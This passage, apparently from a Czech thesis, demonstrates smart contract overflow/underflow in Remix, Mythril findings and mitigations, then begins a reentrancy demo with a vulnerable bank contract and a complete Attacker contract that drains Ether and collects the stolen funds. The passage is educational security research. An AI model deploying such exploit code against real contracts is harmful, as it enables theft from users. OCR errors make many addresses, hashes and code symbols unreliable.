decoded input { "address": "@x5B38Da6a701c568545dCfcBO3FcB875f56beddC4” }
decoded output { "@": "uint8: 250" }
logs [
raw logs []

Tabulka 3: Volani funkce balances(address) — vysledek 250

(zdroj: vlastni )

[x5B38Daba 701 c56854 5dCFcB03 RcBa 7 5f56baddCA

Low level interactions

Obrazek 12: Zobrazeni zlistatku 250 pro testovaci ucet po depositu

( zdroj: viastni )
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Obrazek (Obrazek 12) potvrzuje, ze prvni vklad byl tspésny a ze mapping balances obsahuje
spravnou hodnotu (250). To je zasadni pfedpoklad pro dalsi krok, kdy bude demonstrace

overflow provedena pii pfidani dalsi hodnoty.

V dalSim kroku je zobrazen proces volani funkce deposit(10). Do argumentu je zadana

hodnota 10 a transakce probéhla uspésné, jak ukazuji detaily v tabulce (Tabulka 4).

from: Ox5B3...eddC4

to: OverflowUnderflowDemo.deposit(uint8)
0xd9145CCE52D3861254917e481eB44e9943F39138
[vm] value: 0 wei

data: Oxbe...000a

logs: ©

hash: 0xb44...c22df

status 0x1 Transaction mined and execution succeed

transaction hash Oxb47149e0bdale980e7abel35a56fc6ab3e9fcOf749a5Fd941812ba91c22d2f

block hash @xee9aaa2705237817a4d71bb98dd3905e61f9aect61a9d6ccde3e@bb5924F9
block number 3

from 0x5B38Dab6a701c568545dCfcBO3FcB875f56beddC4

to OverflowUnderflowDemo.deposit(uint8)

0xd9145CCE52D3861254917e481eB44e9943F39138

gas 30781 gas

transaction cost 26766 gas

execution cost 5562 gas

input oxbe. . .000a

output [2)¢

decoded input { "uint8 _amount": 10 }
decoded output {}

logs [1

raw logs [

Tabulka 4: Transakce — volani funkce deposit(10)
( zdroj: viastni )
Piivodni ztstatek byl 250. Volanim deposit(10) se provede aritmetickd operace (250+10).

Matematicky ocekavany vysledek by byl 260. AvSak vzhledem k omezenému rozsahu

datového typu uint8 (0-255) a absenci automatické kontroly v nezabezpecené verzi Solidity
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(< 0.8.0) dojde k overflow (pieteceni). Aritmetickd operace probéhne pomoci modulérni

aritmetiky, kde se vysledek 260 ,,zalomi* — 260 modulo 256 se rovna 4.

Nasledujici obrazek (Obrazek 13) a tabulky (Tabulka 5) zachycuji ovéfeni nového

zustatku po provedeni této operace. Jak je jasné patrné, ztistatek se neo¢ekédvané zmenil na

hodnotu 4.
from: ©x5B38Da6a701c568545dCfcBO3FcB875f56beddC4
[call] to: OverflowUnderflowDemo.balances(address)
data: 0x27e...eddC4
from 0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4
to OverflowUnderflowDemo.balances(address)

0xd9145CCE52D3861254917e481eB44e9943F39138

execution cost

2478 gas (Cost only applies when called by a contract)

input

ox27e...eddC4

output

0x000000000000000000000000000000VVVBBRCVVVVLRRAARVVVYBRRRVVVVLRRR4

decoded input

{ "address": "@x5B38Da6a701c568545dCfcBO3FcB875f56beddC4" }

decoded output

{ "e": "uints: 4" }

logs

[l

raw logs

(]

Tabulka 5: Volani funkce balances(address) — vysledek 4

(zdroj: vlastni )

Tento vysledek 4 namisto ocekavanych 260 je piimym dikazem aritmetického preteceni.

Simulace tak jasn¢ demonstruje, jak preteceni naruSuje integritu dat v kontraktu, vede k

nespravnym hodnotdm a miZe zpisobit ztraty vloZenych prostfedkli nebo zneuZiti logiky

kontraktu.
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[e5B38Daba 01 5685454 CRcB03 FcBaT 5f56beddCA

Low level interactions

Obrazek 13: Zobrazeni zustatku 4 pro testovaci ti€et po pieteceni

( zdroj: viastni )
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Simulace Underflow zranitelnosti

Dale byla provedena simulace zranitelnosti podteceni. Na obrazku (Obréazek 14) je zobrazen
vychozi stav zlstatku (balance) testovaciho UCtu v nasazeném smart kontraktu. Pied
provedenim jakychkoliv transakci (nebo po novém nasazeni kontraktu ¢i vybéru vSech
prostfedkil) je hodnota v mappingu balances nastavena na 0. Tento obrazek (Obrazek 14)

slouzi jako reference pro srovnani s nésledujicimi kroky simulace.

[x5B38DabaT01 56854 5dCRcB03 FcBaT5i56beddC4

Low level interactions

Obrazek 14: Vychozi nulovy zlstatek pro testovaci ucet

( zdroj: viastni )

Na obrazku (Obrazek 15) je zachycen proces volani funkce withdraw(1), kde je odectena
hodnota 1 z aktudlniho zlstatku. JelikoZ byl zlstatek pied tim 0, tato transakce predstavuje
pokus o odecteni z minimalni hodnoty 0 u uint8. Tabulka 6 poskytuji detailni piehled o
provedené transakci. Operace probé&hla uspésné (status 0x1), coZ samo o sob¢€ u vybéru vetsi

castky nez je zlstatek indikuje problém.
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[x5B33Daba701 50854 5d CRcB03 FcBa7 5f50beddCA

Low level interactions

Obrazek 15: Volani funkce withdraw(1) v Remix IDE

( zdroj: viastni )

from: Ox5B3...eddC4
to: OverflowUnderflowDemo.withdraw(uint8)
0xd9145CCE52D3861254917e481eB44e9943F39138

[vm] value: 0 wei
data: Ox6a...00001
logs: ©
hash: oxdbe. . .40ad9
status ox1 Transaction mined and execution succeed

transaction hash

oxdbe885ecdeb59706fe8e5faae0565ef279461e0a342e5e3376e120a640ad9

block hash

Oxbed6eb4727fa62fa5al43e2139741110b03e58b9699b0dc6cac7ca25e4e0

block number

from 0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4

to OverflowUnderflowDemo.withdraw(uint8)
0xd9145CCE52D3861254917e481eB44e9943F39138

gas 50421 gas

transaction cost 43814 gas

execution cost

22460 gas
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input

Ox6a...00001

output

(%)%

decoded input

{ "uint8 _amount": 1 }

decoded output

{}

logs

(]

raw logs

(]

Tabulka 6: Transakce — volani funkce withdraw(1)

(zdroj: vlastni )

Piivodni zustatek byl 0. Volanim withdraw(1) se provede operace 0—1. Matematicky

o¢ekavany vysledek by byl -1, nebo by v bezpe¢ném systému transakce selhala, protoze

nelze vybrat vice, nez je k dispozici. V nezabezpe€ené verzi kontraktu (< 0.8.0) vSak tato

operace provede underflow (podteceni). Vysledek O - 1 se "pfeto¢i" na maximalni hodnotu

datového typu uint8, coz je 255. Obrazek (Obrazek 16) a Tabulka 7 spolecné demonstruji

ovéteni ziistatku po provedeni operace withdraw. Jak je jasné vidét, zastatek se neocekavané

zménil z 0 na hodnotu 255.

from: ©x5B38Da6a701c568545dC+cBO3FcB875f56beddC4

[call] to: OverflowUnderflowDemo.balances(address)
data: Ox27e...eddC4

from 0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4

to OverflowUnderflowDemo.balances(address)

0xd9145CCE52D3861254917e481eB44e9943F39138

execution cost

2478 gas (Cost only applies when called by a contract)

input

ox27e...eddC4

output

0x00000000000000000000000000000000000000000000000000000000000000f

decoded input

{ "address": "@x5B38Da6a701c568545dCfcBO3FcB875f56beddC4" }

decoded output

{ "@": "uint8: 255" }

logs

(]

raw logs

(]

Tabulka 7: Voléani funkce balances(address) — vysledek 255

( zdroj: viastni )
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[e6B38Daba 01 c56R545d CRcB03 FcBa 7 5f56beddCA

Obrazek 16: Zobrazeni zlstatku 255 pro testovaci ucet po podteceni

( zdroj: viastni )

Tento vysledek 255 namisto ocekavaného selhani transakce demonstruje podteCeni.
Simulace tak jasné¢ ukazuje, jak podte¢eni muze vést k ziskani neopravnéné vysokého
zustatku. V redlnych kontraktech spravujicich aktiva by to Uto¢nikovi umoZznilo vybrat
mnohem vice, nez kolik vlastnil, coz pfedstavuje pfimé zneuziti vedouci ke ztratdm pro

ostatni uzivatele kontraktu.
Zavér k simulacim zranitelnosti

Simulace provedené v Remix IDE jasné a ndzorn¢ demonstrovaly, jak aritmetické preteceni
(vysledek 4 misto 260) a podteceni (vysledek 255 misto ocekdvaného selhani nebo negativni
hodnoty) nastava u standardnich aritmetickych operaci v nezabezpecenych verzich Solidity
(< 0.8.0) s pouzitim datového typu s omezenym rozsahem (uint8). Tyto simulace vizualné
potvrzuji teoretické poznatky o zranitelnostech typu Overflow/Underflow a podtrhuji
kritickou nutnost aplikace vhodnych bezpe¢nostnich opatfeni, které budou popsany

v nasledujici ¢asti této prace.
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6.1.2 Analyza zranitelnosti pied mitigaci

V ramci analyzy byl pouzit nastroj Mythril ke statické analyze smart kontraktu s cilem
odhalit potencidlni bezpecnostni zranitelnosti spojené s aritmetickymi operacemi, konkrétné
pieteceni (overflow) a podteCeni (underflow). Smart kontrakt byl analyzovan na piedchozi

ukazce kodu (Ukazka kodu 4).
Vystup z Mythril

$ contracts myth analyze OverflowUnderflowDemo7.sol

==== Integer Arithmetic Bugs ====

SWC ID: 101

Severity: High

Contract: OverflowUnderflowDemo

Function name: withdraw(uint8)

PC address: 372

Estimated Gas Usage: 7040 - 27985

The arithmetic operator can underflow.

It is possible to cause an integer overflow or underflow in the arithmetic operation.
In file: OverflowUnderflowDemo7.s0l:13

balances[msg.sender] -= _amount;

Initial State:

Account: [CREATOR], balance: 0x@, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x@, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded _data: (), value: 0xo

Caller: [CREATOR], function: withdraw(uint8), txdata:
0xc6ab5d9000000000000000000000000000000000000000VVVVVVVVVVVVRA1 ,
decoded_data: (1,), value: ox0

Provedend analyza nezabezpecené verze kontraktu pomoci néstroje Mythril identifikoval
bezpecnostni riziko typu Integer Arithmetic Bugs (SWC ID: 101), klasifikované jako ,,High

Severity®, tedy s vysokou zavaznosti.
SWC ID: 101 - Integer Arithmetic Bugs

Bezpecnostni riziko typu Integer Arithmetic Bugs (SWC ID: 101) patii mezi kritické
zranitelnosti smart kontraktii. Tato kategorie chyb nastdva, kdyz vysledek aritmetické

operace (jako je sCitani, od¢itani, nasobeni) prekro¢i maximalni pteteCeni nebo klesne pod
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minimalni podteceni hodnotu, kterou je schopen dany celociselny datovy typ (napft. uint8,

uint256, int256) uchovat. [31]

Analyza nastroje Mythril odhalila konkrétni problém v naSem zkoumaném kontraktu
ve funkci withdraw na fadku ¢islo 13 (v souboru OverflowUnderflowDemo7.sol, jak jej

analyzoval nastroj):

balances[msg.sender] -= _amount;

Mythril identifikoval, Ze pfi provedeni této operace muze dojit k podteceni, pokud je aktudlni

zustatek uZivatele niz8i nez ¢astka, kterou se uzivatel pokousi vybrat.

Vystup rovnéz obsahuje demonstraci utoku, kde:
e Uget (CREATOR) nejprve proved] volani metody s nulovou hodnotou,
e nasledné se pokusil o vybér ¢astky rovné hodnoté 1,

e tim doslo k podteceni a zlstatek Uctu ziskal hodnotu 255 misto oekavané chyby

nebo odmitnuti transakce.

Na zékladé této analyzy je zcela ziejmé, Ze nezabezpecend verze kontraktu je kriticky
zranitelna vu¢i aritmetickému ttoku. Z tohoto divodu je nezbytné implementovat
bezpecnostni opatieni, jako je pouZiti knthovny SafeMath (ve starSich verzich Solidity) nebo
pfechod na verzi kompilatoru 0.8.0 a vyS$i, ktera automaticky kontroluje aritmetické

zranitelnosti. Tim bude zajiSténo, Ze tyto bezpecnostni problémy budou G¢inn¢ eliminovany.

6.1.3 Implementace bezpecnostniho opatieni

Tato podkapitola se zamétuje na praktickou implementaci bezpecnostniho opatieni, které
fesi zranitelnosti aritmetického pieteceni (overflow) a podteceni (underflow) identifikované

v predchozi analyze zkoumaného smart kontraktu.

Primarnim cilem této Gpravy je odstranit moznost nekontrolovaného aritmetického
preteCeni a podteceni pii operacich s proménnymi, v tomto ptipad¢ typu uint8 (obecné s
jakymikoli celo€iselnymi typy s omezenym rozsahem) v rdmci smart kontraktu. Jak bylo
demonstrovano v piedchozi analyze, nekontrolované operace mohou vést k neocekavanym
a potencidlné Skodlivym zménam stavu kontraktu, proto je kontrola aritmetickych operaci

kriticky dilezita.
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Pouzita metoda mitigace

Pro odstranéni identifikovanych zranitelnosti byla zvolena moderni a v soucasnosti

standardné doporucovana metoda, prechod na verzi kompilatoru Solidity 0.8.0 nebo vyssi.

Od verze 0.8.0 kompilator Solidity ve vychozim nastaveni automaticky zahrnuje
kontroly pro vSechny standardni aritmetické operace. Pokud by jakakoli z téchto operaci
m¢éla za nasledek pteteCeni nebo podteceni, nedojde k tichému "ptetoceni” hodnoty. Misto
toho transakce selze s chybou (operace revert), ¢imz se zabrani ulozeni nekonzistentniho
nebo nebezpecného stavu do blockchainu. Toto chovani vyrazné zvysSuje bezpecnost smart

kontrakti psanych v novéjsich verzich Solidity.
Alternativni metody, které se pouzivaly zejména pted verzi Solidity 0.8.0, zahrnuji:

e Pouziti knihovny SafeMath: Knihovna od OpenZeppelin (nebo jinych
poskytovateltl), ktera nabizi funkce (add, sub, mul, div) explicitné kontrolujici

pteteCeni a podteceni. Pti pokusu o nebezpecnou operaci funkce vyvola chybu.

¢ Rucni validace hodnot: Explicitni kontroly pomoci require nebo assert pted
provedenim aritmetické operace, které ovétuji, zda vysledek operace neptekroci
meze dané¢ho datového typu. Tato metoda je vSak néchylnéjsi k chybam pfi

implementaci.

Vzhledem k tomu, Ze Solidity "0.8.0 poskytuje tuto ochranu implicitnég, jedna se z hlediska
bezpecnosti a jednoduchosti o velmi elegantni feSeni, a proto bylo zvoleno pro upravu
demonstra¢niho kontraktu. Nicmén¢ se v praxi stale vyskytuji projekty, které vyuzivaji starsi
verze Solidity, jako je naptiklad 0.7.6. Divodem byva ¢asto snaha o zachovani kompatibility
se stavajicim kodem, vyuziti ovétenych knihoven nebo minimalizace nakladii spojenych s

migraci.
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Zabezpeceny kod kontraktu s implementovanou ochranou proti Overflow/Underflow

// SPDX-License-Identifier: MIT
pragma solidity ”~0.8.0;
/**
* @title OverflowUnderflowDemo
* @dev Demonstracni kontrakt ukazujici implicitni ochranu proti
* aritmetickému preteceni/podteceni v Solidity ”0.8.0.
*/
contract OverflowUnderflowDemo {
mapping(address => uint8) public balances;
function deposit(uint8 _amount) external {
balances[msg.sender] += _amount;
}
function withdraw(uint8 _amount) external {

balances[msg.sender] -= _amount;

Ukazka kodu 5: Implementace Overflow/Underflow vyssi verze Solidity (*0.8.0)

( zdroj: vlastni )
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Jednou z nejznamé;jsich je knihovna SafeMath (Ukéazka kodu 6), jak by feSeni mohlo vypadat
pfi pouziti knihovny SafeMath ve star$i verzi Solidity (napt. ~0.7.6).

// SPDX-License-Identifier: MIT
pragma solidity "0.7.6;
// Import knihovny SafeMath
import "@openzeppelin/contracts/math/SafeMath.sol";
contract OverflowUnderflowDemoSafeMath {
using SafeMath for uint8;
mapping(address => uint8) public balances;
/**
* @dev Vlozi specifikované mnozstvi na ucet odesilatele pomoci SafeMath.add.
* @param _amount Mnozstvi k vlozeni (typ uint8).
* Funkce .add() kontroluje preteceni.
*/
function deposit(uint8 _amount) external {
balances[msg.sender] = balances[msg.sender].add(_amount);
}
/**
* @dev Vybere specifikované mnozstvi z uctu odesilatele pomoci SafeMath.sub.
* @param _amount Mnozstvi k vybéru (typ uint8).
* Funkce .sub() kontroluje podteceni a nedostatecny zlstatek.
*/
function withdraw(uint8 _amount) external {
// Druhy argument funkce sub je chybovd zprava pro pripad podteceni.

balances[msg.sender] = balances[msg.sender].sub(_amount, "Underflow");

Ukazka kodi 6: Zabezpeceny kontrakt vyuzivajici SafeMath

( zdroj: viastni )
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6.1.4 Analyza po mitigaci

Poté, co bylo aplikovano bezpecnostni opatieni spocivajici v prechodu na verzi kompilatoru
Solidity 0.8.0, bylo klicové provést opétovnou analyzu a testovani, abych ovétil acinnost
provedené mitigace. Kod pouzity pro tuto analyzu je uveden v ukazce kodu (Ukazka kdédu
5). Cilem je potvrdit, Ze zranitelnosti aritmetického pfeteceni a podteCeni byly uspéSné

eliminovany.
Vystup z Mythril (Solidity 0.8.0)

Po spusténi bezpecnostni analyzy nastrojem Mythril na této upravené verzi kontraktu
(pragma solidity 0.8.0), ktery byl proveden na souboru OverflowUnderflowAnalyzeS8.sol,

vystup potvrdil o¢ekavany vysledek:

=> contracts myth analyze OverflowUnderflowAnalyze8.sol

The analysis was completed successfully. No issues were detected.

Jak je patrné z vystupu, Mythril nenalezl Zadné problémy v této verzi kontraktu. To zahrnuje
i kritickou zranitelnost typu Integer Arithmetic Bugs (SWC ID: 101) spojenou se
standardnimi aritmetickymi operacemi. Tento vysledek potvrzuje, ze kompilator Solidity od
verze 0.8.0 automaticky vklada potfebné kontroly pieteceni a podteceni do zkompilovaného

bytekodu, ¢imz efektivné eliminuje tuto tfidu zranitelnosti pro zakladni aritmetické operace.
Vystup z Remix IDE pro otestovani

Pro praktickou demonstraci fungujici ochrany byla provedena testovaci transakce v prostiredi
Remix IDE, ktera by v nezabezpecené verzi (< 0.8.0) vedla k pfeteceni nebo podteceni. V
zabezpecené verzi (>= 0.8.0) by takova transakce méla selhat s chybou (revert). Kod pouzity

pro toto testovani je uveden v ukazce kodu (Ukazka kodu 5).

Nasledujici vystup (Tabulka 18) z Remix IDE ukazuje pokus o provedeni transakce,
kterda demonstruje, Ze pfi aritmetické operaci dochazi k revertu, pokud by piekrocila
povoleny rozsah (napf. pokus o pieteeni u uint8 pfidanim hodnoty, kterd by ptesahla 255,

nebo pokus o podteceni odectenim hodnoty vétsi nez aktudlni zlstatek).
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from: Ox5B3...eddC4
to: OverflowUnderflowDemo.deposit(uint8) ©xDA@...42B53

[vim] value: 0 wei
data: Oxbe...000a
logs: ©
hash: 0x653...18618

status

0x0 Transaction mined but execution failed

transaction hash

0x5d72db1821ad38b1la9dc5d05f6cf2414a3704bec2ae2e26916161

block hash 0x14f62364a059bf1e99e5e£231107378a54eb6d42ec0b93199cec283dFoboe2

block number )

from 0x5B38Daba701c568545dCfcBO3FcB875f56beddC4

to OverflowUnderflowDemo.deposit(uint8)
0xDA0ab8076321f07E012494DDOE6ASFI96EQ742B53

gas 300000 gas

transaction cost 24069 gas

execution cost 2865 gas

input oxbe. ..000a

output 0x8e14871070200000000000000000000000000000000000000000000000000011

decoded input

{ "uint8 _amount": 10 }

decoded output

{}

logs

(]

raw logs

(]

transact error

Error occurred: revert

revert reason

The transaction has been reverted to the initial state.

Note: The called function should be payable if you send value and
the value you send should be less than your current balance.

You may want to cautiously increase the gas limit if the
transaction went out of gas.

Tabulka 8: Neuspésna transakce — volani funkce deposit(10)

( zdroj: viastni )

Prestoze konkrétni zobrazeny testovaci piipad (deposit(10)) ve vystupu nemusi piimo

demonstrovat klasicky scéndi pteteCeni (napf. balance=250, deposit=10), kli¢ovym

dikazem funk¢ni mitigace je stav transakce - "Transaction mined but execution failed" a

"Error occurred: revert". To znamena, zZe namisto tichého ptfeteceni nebo podteceni hodnoty

(které by vnizsi verzi >=0.8.0 zpusobilo zranitelnost), kompiladtor v 0.8.0 pfidanou
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kontrolou detekoval potencidlné nebezpecnou aritmetickou operaci a zpusobil selhdni
transakce. Tim je zajisténo, Ze stav kontraktu zlistane konzistentni a nemuze dojit ke zneuziti

aritmetickych chyb popsanych v predchozi analyze.

Tato analyza po mitigaci jasn¢ ukazuje, ze pfechod na kompilator Solidity 0.8.0 ucinné
fesi zranitelnost Integer Arithmetic Bugs (SWC-101) pro standardni aritmetické operace tim,
ze vynucuje revert transakce v pripadé preteceni nebo podteceni. Analyza nastrojem Mythril
1 praktické testovani v Remix IDE potvrdily, ze zabezpecend verze kontraktu jiz touto

kritickou zranitelnosti netrpi.

6.2 Reentrancy

Zranitelnost typu Reentrancy (Cesky znovuvstoupeni) patii mezi kritickd bezpecnostni rizika
smart kontraktii a byla zodpovédna za jednu z nejvyznamnéjSich kradezi v historii Etherea,
jak bylo zminéno v teoretické ¢asti prace. K této zranitelnosti dochazi, kdyz smart kontrakt
provede externi volani na jiny (potencialné Skodlivy) kontrakt nebo adresu predtim, nez
dokon¢i vSechny relevantni zmény svého vnitiniho stavu. Externi volani mtze spustit kod
na cilové adrese (typicky v tzv. fallback nebo receive funkci), ktery pak mize zpétné zavolat
puvodni kontrakt a vyuzit jeho nedokonceného stavu.

V kontextu Solidity a posilani Etheru nastava Reentrancy nejCastéji pfi pouZiti

nn

nizkotroviiové funkce call{value: amount}(""). Tato funkce je flexibilni, ale ve vychozim
nastaveni predava cilovému kontraktu veskery zbyvajici gas, coz mu dava dostatek
prostiedkii na provedeni libovolné komplexni logiky, véetné zpétného volani na pivodni
kontrakt. Bez spravného potadi operaci ("Checks-Effects-Interactions" pattern), kdy se
nejprve provadi veSkeré kontroly, poté zmény stavu a aZ nakonec externi interakce, se
otevird cesta pro zneuziti. Star§i metody posilani Etheru, jako send a transfer, jsou
gas, coz obvykle nepostacuje k provedeni zpétného volani, avSak ani toto omezeni neni

stoprocentni zarukou v ptipadé n€kterych fallback funkci. Proto je kli¢ové vzdy dodrZzovat

bezpecné vyvojové vzory.

Cilem této kapitoly je demonstrovat princip Reentrancy zranitelnosti prostiednictvim
simulace, analyzovat zranitelny kod pomoci nastroji a ptedstavit ucinné a doporucené

metody mitigace.
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6.2.1 Simulace a demonstrace zranitelnosti

Pro nazornou simulaci Reentrancy utoku byla vyuzita dvojice smart kontraktl v prostiedi
Remix IDE. Zamérn¢ zranitelny bankovni kontrakt (VulnerableBank) a utocny kontrakt
(Attacker), ktery byl navrzen s cilem zneuzit konkrétni zranitelnost v bankovnim kontraktu.
Kontrakty byly kompilovany s verzi Solidity 0.8.29, aby bylo demonstrovano, zZe ackoliv
tato verze poskytuje ochranu proti aritmetickym chybam, Reentrancy zlstava problémem
pii nespravném pouziti externich volani, zejména pii vyuziti funkce call s pfeddnim

dostatecného mnozstvi gasu.

Pouzity kéd pro simulaci zranitelnosti Reentracy (VulnerableBank/EtherBank)

// SPDX-License-Identifier: MIT
pragma solidity 70.8.29;
/**
* @title VulnerableBank
* @dev Demonstracni kontrakt banky zamérné zranitelny v0c¢i Reentrancy utoku.
* Umoznuje uzivateldm vkladat a vybirat Ether.
* Zranitelnost spociva v poradi operaci ve funkci withdraw().
*/
contract VulnerableBank {
// Mapuje adresu uzivatele na jeho zlUstatek (v Etheru, uloZeném jako uint/uint256).
mapping(address => uint) public balances;
/**
* @dev Umoznuje uzivateli vlozit Ether do banky.
* Funkce je 'payable', coZz znamena, Ze mlOze prijimat Ether.
* Externi volani zajistuje, Ze mdze byt volana pouze zvenci kontraktu.
* Tato funkce je z hlediska Reentrancy v této implementaci bezpecna,
* protoze aktualizuje stav (pric¢itd hodnotu) pred jakoukoliv externi interakci.
*/
function deposit() external payable {

balances[msg.sender] += msg.value;
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/**
* @dev Umoznuje uzivateli vybrat svij zUstatek z banky.
* Funkce je 'external', mlze byt voldna pouze zvenci.
* OBSAHUJE ZRANITELNOST REENTRANCY.
*/
function withdraw() external {
// 1. Kontrola (Checks): Kontrola dostatecného zlstatku uzivatele.
uint amount = balances[msg.sender];

require(amount > @, "Nothing to withdraw");

// 2. Externi interakce (Interactions): Odeslani Etheru na adresu uzivatele.

(bool success, ) = msg.sender.call{value: amount}("");

// Kontrola, zda externi volani bylo uspéSné. Nezabrani Reentrancy.

require(success, "Transfer failed");

// 3. Aktualizace stavu (Effects): Nastaveni zlstatku uzivatele na nulu.
balances[msg.sender] = 0;
}
/**
* @dev Pomocnd funkce pro zjisténi aktudlniho zlstatku Etheru.
* Pouziva "~ address(this).balance™ pro ziskani zlstatku kontraktu.
* 'public' a 'view' zajistuji, Ze je funkce pristupnd zvenc¢i a neméni stav.
*/
function getBalance() public view returns (uint) {

return address(this).balance;

Ukazka kodua 7: Zranitelny kontrakt vii¢i Reentrancy ttoku — VulnerableBank

( zdroj: viastni )
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PouZzity kéd pro simulaci zranitelnosti Reentrancy (Attacker/Uto¢nik)

// SPDX-License-Identifier: MIT
pragma solidity 70.8.29;
/%%
* @title Attacker
* @dev Kontrakt navrzeny k provedeni Reentrancy utoku
* na zranitelny bankovni kontrakt implementujici IVulnerableBank.
* Obsahuje receive/fallback funkci, kterd rekurzivné vold funkci withdraw().
*/
contract Attacker {
// Adresa plvodniho nasaditele kontraktu dtocnika.
// Pouziva se pro stazeni ukradenych prostredkd po utoku.

address public owner;

// Instance rozhrani pro zranitelny bankovni kontrakt.
// Umoznuje tomuto kontraktu volat externi funkce na bankovnim kontraktu.
IVulnerableBank public bank;
/**
* @dev Konstruktor kontraktu Attacker.
* PPrijima adresu zranitelného bankovniho kontraktu a inicializuje proménnou 'bank’.
* @param _bankAddress Adresa nasazeného zranitelného kontraktu banky.
*/
constructor(address _bankAddress) {
owner = msg.sender;

bank = IVulnerableBank(_bankAddress);

/**
* @dev Receive funkce. Tato funkce je spustitelna, kdyz kontrakt obdrzi Ether

* bez specifikace konkrétni funkce (napr. z “call{value: amount}("")" nebo
“transfer’/ send’).

* JE KRITICKOU SOUCASTI REENTRANCY UTOKU.

* Kdyz zranitelny kontrakt banky posle Ether pomoci “call® ve své funkci withdraw(),
* spusti se tato receive() funkce na kontraktu utocnika.

* V rdmci této funkce utocnik ZNOVU vola bank.withdraw(),

* ¢imz vyuzivd Ccasové okno, kdy =zlstatek v bankovnim kontraktu jesté nebyl
vynulovan.

*/
receive() external payable {
// Omezujici podminka pro rekurzi - volame bank.withdraw() znovu

// pouze pokud zlstatek v bance (adresa bankovniho kontraktu) je stale
dostatecné velky (napr. >= 1 Ether).
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// Toto brdni vycerpdni gasu nebo zastavi uUtok v urcitém bodé.

// Bez této podminky nebo s jinou podminkou by mohl uto¢nik vybirat, dokud
banka nebude prazdna nebo dojde k chybé gasu.

if (address(bank).balance >= 1 ether) {

// REKURZIVNI VOLANI: Znovu zavold funkci withdraw() na zranitelném
bankovnim kontraktu.

// Toto se déje PREDTIM, neZ zranitelny kontrakt banky stihne aktualizovat
zUstatek Utoénika na nulu

// v plvodni instanci volani withdraw().
bank.withdraw();
}

// Pokud by receive funkce neméla tuto podminku nebo by nedoslo k rekurzivnimu
bank.withdraw(),

// jednoduSe by prijala Ether a utok by nepokracoval.

/**
* @dev Funkce pro spusténi Reentrancy utoku.
* Pprijimd Ether (musi byt payable), aby mohla vlozit pocatecni ¢astku do banky.

* @param msg.value MnoZzstvi Etheru poslaného s transakci (mélo by byt alespon 1
Ether).

*/
function attack() external payable {
// Kontrola, zda utocnik poslal dostatecné mnozstvi Etheru pro pocatecni vklad.

require(msg.value >= 1 ether, "Need at least 1 ETH");

// Krok 1: Uto&nik vlozi (malou) &&stku Etheru do zranitelného bankovniho
kontraktu.

// Toto je nutné, aby mél Utocnik v bance zlstatek, ktery mize nasledné vybrat.
bank.deposit{value: 1 ether}();

// Krok 2: Uto&nik vola funkci withdraw() na zranitelném bankovnim kontraktu.
// TOTO JE PRVNI VOLANI, KTERE INICIUJE RETEZOVOU REAKCI REENTRANCY.

// Bankovni kontrakt zacne zpracovavat vybér, odeSle Ether udtocnikovi pomoci
“call’,

// €imZz spusti receive() funkci tohoto kontraktu Attacker,
// kde dojde k rekurzivnimu volani withdraw().
bank.withdraw();
}
/**
* @dev Funkce pro vybrani vSech Etherd drzenych kontraktem Attacker.
* \VCetné prostredk( ukradenych Reentrancy utokem.
* Mize byt volana pouze plvodnim nasaditelem (owner).
*/

function collect() external {
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// Kontrola, Ze volajici je plvodni vlastnik.

require(msg.sender == owner, "Only owner can collect");

// Prevedeni celého zlstatku kontraktu Attacker na adresu vlastnika.

// Pouziti payable(owner).transfer() je zde vhodné pro posildni Etheru na EOAs.

payable(owner).transfer(address(this).balance);

/**

* @dev Pomocna funkce pro zjisténi aktudlniho zlUstatku Etheru drZzeného kontraktem
Attacker.

*/
function getBalance() public view returns (uint) {

return address(this).balance;

// Toto rozhrani (Interface) definuje pouze signatury funkci, které
// chceme volat na externim kontraktu (zranitelnd banka).
// Kontrakt Attacker pouziva toto rozhrani k interakci s bankovnim kontraktem,
// aniz by potreboval znat celou jeho implementaci.
interface IVulnerableBank {
// Deklarace externi funkce deposit() s moznosti prijmu Etheru.

function deposit() external payable;

// Deklarace externi funkce withdraw().

function withdraw() external;

Ukazka kodi 8: Utoény kontrakt provadéjici Reentrancy utok na zranitelnou banku

( zdroj: viastni )

Prvnim krokem k demonstraci Reentrancy zranitelnosti byla simulace titoku na EtherBank.
Tento typ utoku je v praxi velmi nebezpe¢ny, protoze zneuziva chybnou logiku kontraktt
spravujicich prosttedky. Cilem simulace bylo tuto slabinu ndzorné ukazat. K tomu ucelu
bylo potfeba nasadit zranitelny kontrakt VulnerableBank a specidlné vytvofeny utocny
kontrakt Attacker, ktery vyuziva své receive funkce k rekurzivnimu volani funkce withdraw

na bankovnim kontraktu.
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Pouzité prostiedky pro simulaci zranitelnosti Reentrancy:

Simulace provedena v Remix IDE (JavaScript VM).
Pouzita verze jazyka Solidity: *0.8.29
Virtuélni blockchain prostfedi: konfigurace Cancun.

Adresa nasazeného kontraktu VulnerableBank:

0xd9145CCES52D3861254917¢481eB44€9943F39138

Adresa nasazeného kontraktu Attacker:

0xd8b934580fcE35a1 1B58C6D73aDeE468a2833fa8

Testovaci ucty (pro vklady do banky a nasazeni kontrakti):
0x4B0897b0513fdc7C5b148C7C6dD195C9¢c5¢364D2b,
0x1aEOEA347D943E7C607F8ESEcC03a4665964E54C,
0xCA35b7d915458EF540aDe6068dFe2F44E8fa733¢

Jako prvnim krokem samotné simulace bylo provedeno nasazeni zranitelného bankovniho

kontraktu do prostfedi Remix IDE. Tento krok je zacen na obrazku (Obrazek 17).

Low level interactions

Obrazek 17: Nasazeny smart kontrakt VulnerableBank v Remix IDE

( zdroj: viastni )
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Bezprosttedné poté bylo pristoupeno k nasazeni tto¢ného kontraktu Attacker. Nasazeny
utocny kontrakt Attacker je zobrazen na obrazku (Obréazek 18). Tomuto kontraktu byla pfi
nasazeni piedana adresa zranitelného bankovniho kontraktu (VulnerableBank) jako
argument konstruktoru. Timto krokem bylo zajisténo propojeni uto¢ného kontraktu s
bankovnim kontraktem, coz je nezbytné pro provedeni utoku. Detail specifikace argumentu
konstruktoru je patrny na obrazku (Obrazek 19). Propojeni uto¢ného kontraktu Attacker s
VulnerableBank pii nasazeni (argument konstruktoru), kde je vidét zadani adresy

bankovniho kontraktu.

Pted samotnym provedenim utoku bylo nezbytné zajistit, aby zranitelny bankovni
